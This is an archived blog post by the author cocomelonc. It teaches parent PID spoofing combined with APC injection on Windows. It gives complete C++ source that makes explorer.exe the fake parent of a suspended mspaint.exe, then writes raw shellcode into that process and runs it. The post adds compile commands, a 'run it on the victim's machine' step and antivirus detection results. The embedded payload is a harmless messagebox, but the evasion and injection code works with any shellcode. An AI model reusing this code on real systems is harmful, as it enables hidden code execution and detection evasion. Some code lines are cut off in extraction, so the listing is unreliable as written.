Malware development tricks: parent PID spoofing. Simple C++ example. By cocomelonc Published: 2022-09-06 · Archived: 2026-04-05 22:29:17 UTC 4 minute read ﷽ Hello, cybersecurity enthusiasts and white hackers! This article is the result of my own investigation into interesting trick: parent process ID spoofing. parent PID spoofingPermalink Monitoring the relationships between parent and child processes is a common method used by threat hunting teams to identify malicious activities. Red teams have adopted parent PID spoofing as a method of evasion. The CreateProcess Windows API call supports a parameter that allows the user to specify the Parent PID. This means that a malicious process can use a different parent than the one being executed when it is created. practical examplePermalink Let’s look at a practical example. First of all, let’s say that we have some process, like mspaint.exe : https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 1 of 14 As you can see, PID is 3396 . If we look at its parent process (PID: 2876 ), we can see explorer.exe : https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 2 of 14 Also we can see via Process Hacker that current directory is C:\Windows\System32\ : https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 3 of 14 Then, the execution flow of this trick is detailed in the following steps: I got explorer.exe PID: int pid = findMyProc(argv[1]); if (pid) { printf("PID = %d\n", pid); } HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid); Create process mspaint.exe : CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); Write meow-meow payload to created process memory: https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 4 of 14 BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb); Add a user-mode asynchronous procedure call (APC) object to the APC queue of the thread of the created process: QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0); Resume thread: ResumeThread(pi.hThread); CloseHandle(pi.hThread); So, the full source code of this trick is: /* hack.cpp parent PID spoofing with APC author: @cocomelonc https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html */ #include #include #include int findMyProc(const char *procname) { HANDLE hSnapshot; PROCESSENTRY32 pe; int pid = 0; BOOL hResult; // snapshot of all processes in the system hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) return 0; // initializing size: needed for using Process32First pe.dwSize = sizeof(PROCESSENTRY32); // info about first process encountered in a system snapshot hResult = Process32First(hSnapshot, &pe); // retrieve information about the processes // and exit if unsuccessful while (hResult) { // if we find the process: return process ID if (strcmp(procname, pe.szExeFile) == 0) { https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 5 of 14 pid = pe.th32ProcessID; break; } hResult = Process32Next(hSnapshot, &pe); } // closes an open handle (CreateToolhelp32Snapshot) CloseHandle(hSnapshot); return pid; } int main(int argc, char* argv[]) { unsigned char my_payload[] = // 64-bit meow-meow messagebox "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e" "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e" "\x2e\x2e\x5e\x3d\x00"; STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T st; int pid = findMyProc(argv[1]); if (pid) { printf("PID = %d\n", pid); } HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid); https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 6 of 14 ZeroMemory(&si, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &st); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &st); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL si.StartupInfo.cb = sizeof(STARTUPINFOEXA); CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T *nb = 0; BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb); QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0); ResumeThread(pi.hThread); CloseHandle(pi.hThread); return 0; } As you can see, I reused my code from this and this posts. Here I have hardcoded a bit the process which being started, you can modify it so that it accepts it from the command-line arguments demoPermalink Let’s go to see everything in action. Compile our “malware”: x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mwindows -I/usr/share/mingw-w64/include/ -s -ffunction-sections Then run it on the victim’s machine: .\hack.exe explorer.exe https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 7 of 14 Run Process Hacker and as you can see, mspaint.exe process successfully created (PID: 4720 ): https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 8 of 14 And: https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 9 of 14 https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 10 of 14 as you can see, parent process is 2876 which is corresponds to explorer.exe , but current directory is Z:\2022- 09-06-malware-tricks-23 ! And what is in the process memory? https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 11 of 14 So everything is work perfectly :) Actually I deceived you a little. in my example goes not just parent process spoofing. It’s a combination of PPID spoofing and APC injection. Because I am also learning new things like you and sometimes you need to ask yourself questions and don’t be afraid to experiment. Let’s go to upload hack.exe to VirusTotal: https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 12 of 14 So, 20 of 70 AV engines detect our file as malicious. https://www.virustotal.com/gui/file/3ec9f1080253f07695f0958ae84e99ff065f052c409f0f7e3e1a79cd4385a9d5/detection This technique is used in Cobalt Strike and KONNI RAT. For example Cobalt Strike can spawn processes with alternate PPIDs. Originally this technique was introduced into the wider information security audience in 2009 by Didier Stevens I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. Didier Stevens: That Is Not My Child Process! MITRE ATT&CK: Parent PID spoofing Cobalt Strike KONNI CreateProcessA Find process ID by name and inject to it APC injection technique source code in github This is a practical case for educational purposes only. https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 13 of 14 Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Source: https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html Page 14 of 14 https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html As you can see, PID is 3396 . If we look at its parent process (PID: 2876 ), we can see explorer.exe : Page 2 of 14